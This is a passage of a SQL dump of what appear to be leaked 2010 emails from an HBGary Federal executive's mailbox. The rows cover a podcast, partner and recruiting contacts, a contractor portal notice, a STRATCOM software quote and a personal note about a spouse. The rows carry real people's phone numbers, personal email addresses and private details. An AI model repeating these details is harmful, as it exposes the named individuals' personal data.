binding.\r\n\r\n&nbsp;\r\n\r\nConsider\r\nthe environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16629,'aaron_hbgary_com/16629.html'),(12221,'2010-09-23','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297009042.M116317P14101Q7076.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Podcast','HI Aaron, Can you tell me more about the podcast -&gt; what was the topic? Thanks, Karen&nbsp;--- On Wed, 9/22/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: PodcastTo: \"Penny Leavy\" &lt;penny@hbgary.com&gt;, \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Ted Vera\" &lt;ted@hbgary.com&gt;Cc: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, September 22, 2010, 7:31 PM\r\nHey guys,Just finished the Securabit podcast.&nbsp; They get about 8,000 downloads a month in itunes.&nbsp; It will be available in iTunes on Monday.&nbsp; I hit all the talking points between the two companies.Aaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',1476,'aaron_hbgary_com/1476.html'),(12222,'2010-09-23','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297009042.M363286P14101Q7077.eml','\"carma\" <carma@hbgary.com>,\"carma\" <carma@hbgary.com>,','Re: SecDev - thank you!','Hi Carma,I believe HBGary\'s CEO is giving the keynote at SecTor in Toronto in late October - SecDev and Palantir will be there as a Silver level sponsor, and we\'d be happy to meet up with whoever is coming from HBGary (Aaron?) to continue our discussions.Best wishes,ArnavOn 2010-09-23, at 1:34 PM, carma wrote:Hi Arnav,&nbsp;You are very welcome, glad we could help.&nbsp; I hope the project went well.&nbsp; If there is anything else we can do to assist, please don’t hesitate to reach out.&nbsp;Also, I manage the Canada region.&nbsp; If there are any other areas where we could work together, we would like very much to engage.&nbsp;&nbsp;Best Regards,&nbsp;Carma Beedle415 517 0663&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Wednesday, September 22, 2010 7:45 AMTo:&nbsp;Aaron Barr; Carma BeedleCc:&nbsp;Rafal RohozinskiSubject:&nbsp;SecDev - thank you!&nbsp;Dear Aaron, Carma,&nbsp;I just wanted to write a note to thank you both very much for being so helpful and speedy with our request for HBGary products last week. I do truly appreciate the effort that went into the expedited service and discounting.&nbsp;Aaron, hope to see you soon at the Palantir govcon on October 12, and if not, then at SecTor in Toronto.&nbsp;Best wishes,ArnavArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged&nbsp;World Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.&nbsp;Consider the environment. Please don\'t print this e-mail unless you really need to.&nbsp;',13263,'aaron_hbgary_com/13263.html'),(12223,'2010-09-23','arc@westfields.net','/aaron@hbgary.com/new/1297009042.M696156P14101Q7078.eml','federal@hbgary.com','SE / Graystone Announcement Posting','\r\nAn announcement has been posted on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1711,'aaron_hbgary_com/1711.html'),(12224,'2010-09-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009042.M988044P14101Q7079.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Trynor Clearance Info','Attached in encrypted pdf.  I\'ll leave voicemail with password.\r\n\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2976,'aaron_hbgary_com/2976.html'),(12225,'2010-09-23','\"Jason Mueller\" <jmueller2004@gmail.com>','/aaron@hbgary.com/new/1297009043.M379417P14101Q7080.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Potentially Available Talent','Aaron,\r\n\r\nThanks again for coming on the show, we definitely appreciate you\r\ntaking time out of your busy day to speak with us.  I\'m interested in\r\nspeaking further when you get back from your trip to Seattle.  Do you\r\nhappen to have Federal SE positions available as well?  Let me know\r\nwhen you get a chance.\r\n\r\nR/\r\n\r\nJason Mueller\r\n\r\nOn Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n> Hey Jason,\r\n>\r\n> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n>\r\n',254,'aaron_hbgary_com/254.html'),(12226,'2010-09-23','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009043.M790136P14101Q7081.eml','\"Aaron Barr\" <aaron@hbgary.com>','How is your wife doing?','\r\n\r\n\r\n\r\n\r\nHow is your wife doing?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13233,'aaron_hbgary_com/13233.html'),(12227,'2010-09-23','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009044.M291930P14101Q7083.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: How is your wife doing?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nProbably not til Monday now.&nbsp; Got to get the Market stuff worked\r\nfor a bit. \r\n\r\nYou around tomorrow to talk?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 23, 2010 3:31 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Re: How is your wife doing?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nShe\'s out. &nbsp;Pretty groggy. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVery glad I am home.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre u still going to turn in tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 23, 2010, at 3:24 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8111,'aaron_hbgary_com/8111.html'),(12228,'2010-09-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009044.M524435P14101Q7084.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: EXTERNAL:Re: How is your wife doing?','Sure.Sent from my iPhoneOn Sep 23, 2010, at 3:31 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nProbably not til Monday now.  Got to get the Market stuff worked\r\nfor a bit. \r\n\r\nYou around tomorrow to talk?\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 23, 2010 3:31 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Re: How is your wife doing?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nShe&#39;s out.  Pretty groggy.  \r\n\r\n\r\n\r\n\r\n\r\nVery glad I am home.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAre u still going to turn in tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 23, 2010, at 3:24 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10801,'aaron_hbgary_com/10801.html'),(12229,'2010-09-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009044.M58157P14101Q7082.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: How is your wife doing?','She&#39;s out.  Pretty groggy.  Very glad I am home.Are u still going to turn in tomorrow?AaronSent from my iPhone\r\nOn Sep 23, 2010, at 3:24 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6643,'aaron_hbgary_com/6643.html'),(12230,'2010-09-23','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297009044.M771361P14101Q7085.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Linda Kearschner and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsSeptember 23, 2010\r\n    AFCEA NOVA\r\n\r\n    \r\n      \r\n        Latest:\r\n\r\n            1 discussion\r\n              &bull;\r\n\r\n             1 Job\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n  Most Active Discussions (1)\r\n    \r\n      \r\n            We need testing engineers with Treasury or IRS experience\r\n            2 comments  &raquo;\r\n      \r\n        Started by David Dastvar\r\n        \r\n        \r\n              Please send me an email directly....\r\n                    \r\n                    More &raquo;\r\n              By David Dastvar\r\n        \r\n        \r\n    \r\n\r\n  \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        CURRENTLY Staffing Client Services/BD Manager Role ~ Base $120-$130K, plus 20%, OTE in the $140K - $155K Range ~ Call Lynn @ 240.687.4770 Cell . . . Thank You !\r\n        Comment or flag  &raquo;\r\n      \r\n\r\n        Started by Lynn Argain, Technical Sales Recruiter, Headhunter, Contingency Executive Search, COMTEX, Inc. c. 240.687.4770\r\n        \r\n          \r\n	              CLIENT IS a PLM company AND they compete with Dassault Systems (sp) a French Company, Siemens PLM, which bought UGS awhile back .. they...\r\n	                    More &raquo;\r\n                By Lynn Argain, Technical Sales Recruiter, Headhunter, Contingency Executive Search, COMTEX, Inc. c. 240.687.4770\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           President (rapidly growing defense communications company)\r\n           Comment or flag  &raquo;\r\n\r\n         Posted by Linda Kearschner, Customized Executive Search Solutions\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 75 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',4859,'aaron_hbgary_com/4859.html'),(12231,'2010-09-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009045.M249095P14101Q7087.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Quote for USSTRATCOM','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nThis is Bob&#8217;s deal and he&#8217;s doing the quotes, so I&#8217;ll let him\r\nrespond.&nbsp; I don&#8217;t want to get in middle of this.&nbsp; We know about this seems\r\neveryone and their mother is bidding, so let me have him handle it.&nbsp; Gwen\r\nshould ask Bob\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, September 23, 2010 2:09 PM\r\nTo: Bob Slapnik; Penny Leavy\r\nCc: Barr Aaron\r\nSubject: Fwd: Quote for USSTRATCOM\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bob / Penny,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'m working with Gwen Walters from GTRI in Denver to help\r\nher get a quote for her customer, STRATCOM. &nbsp;Can you help me develop a\r\nquote - or send me a sample quote that I can use as a template?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Digital DNA for ePO Perpetual Software\r\n  License for 5,000 endpoint nodes\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number: &nbsp;N/A \r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Annual Software Maintenance and Digital DNA\r\n  Malware Detection Updates\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number: &nbsp;N/A \r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Implementation Support and Training for DDNA\r\n  for ePO. Price per week. Price MUST be all inclusive (to include\r\n  HBGary travel expenses, per diem, etc).\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number: &nbsp;N/A\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7843,'aaron_hbgary_com/7843.html'),(12232,'2010-09-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009045.M27301P14101Q7086.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Quote for USSTRATCOM','Hi Bob / Penny,I&#39;m working with Gwen Walters from GTRI in Denver to help her get a quote for her customer, STRATCOM.  Can you help me develop a quote - or send me a sample quote that I can use as a template?\r\nTed\r\n\r\nQty:\r\n1 \r\n\r\n\r\n \r\n  \r\n  HBGary\r\n  Digital DNA for ePO Perpetual Software License for 5,000 endpoint nodes\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part\r\nNumber:  N/A \r\n\r\nQty: 1\r\n\r\n\r\n\r\n \r\n  \r\n  HBGary\r\n  Annual Software Maintenance and Digital DNA Malware Detection Updates\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part\r\nNumber:  N/A \r\n\r\nQty: 1\r\n\r\n\r\n\r\n \r\n  \r\n  HBGary\r\n  Implementation Support and Training for DDNA for ePO. Price per week. Price MUST\r\n  be all inclusive (to include HBGary travel expenses, per diem, etc).\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part\r\nNumber:  N/A\r\n\r\n -- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',7915,'aaron_hbgary_com/7915.html'),(12233,'2010-09-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009045.M491833P14101Q7088.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Quote for USSTRATCOM','Ok - I didn&#39;t know this was already in play.  Let me know if you need Gwen&#39;s contact info.TedOn Thu, Sep 23, 2010 at 3:11 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nThis is Bob’s deal and he’s doing the quotes, so I’ll let him\r\nrespond.  I don’t want to get in middle of this.  We know about this seems\r\neveryone and their mother is bidding, so let me have him handle it.  Gwen\r\nshould ask Bob\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, September 23, 2010 2:09 PM\r\nTo: Bob Slapnik; Penny Leavy\r\nCc: Barr Aaron\r\nSubject: Fwd: Quote for USSTRATCOM\r\n\r\n\r\n\r\n \r\n\r\nHi Bob / Penny,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;m working with Gwen Walters from GTRI in Denver to help\r\nher get a quote for her customer, STRATCOM.  Can you help me develop a\r\nquote - or send me a sample quote that I can use as a template?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Digital DNA for ePO Perpetual Software\r\n  License for 5,000 endpoint nodes\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number:  N/A \r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Annual Software Maintenance and Digital DNA\r\n  Malware Detection Updates\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number:  N/A \r\n\r\nQty: 1 \r\n\r\n\r\n \r\n  \r\n  HBGary Implementation Support and Training for DDNA\r\n  for ePO. Price per week. Price MUST be all inclusive (to include\r\n  HBGary travel expenses, per diem, etc).\r\n  \r\n \r\n\r\n\r\n\r\nMfg. Part Number:  N/A\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',4899,'aaron_hbgary_com/4899.html'),(12234,'2010-09-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009045.M772027P14101Q7089.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Quote for USSTRATCOM','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYeap it&#8217;s in play&nbsp; Bob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, September 23, 2010 2:14 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Bob Slapnik; Barr Aaron\r\nSubject: Re: Quote for USSTRATCOM\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOk - I didn\'t know this was already in play. &nbsp;Let me\r\nknow if you need Gwen\'s contact 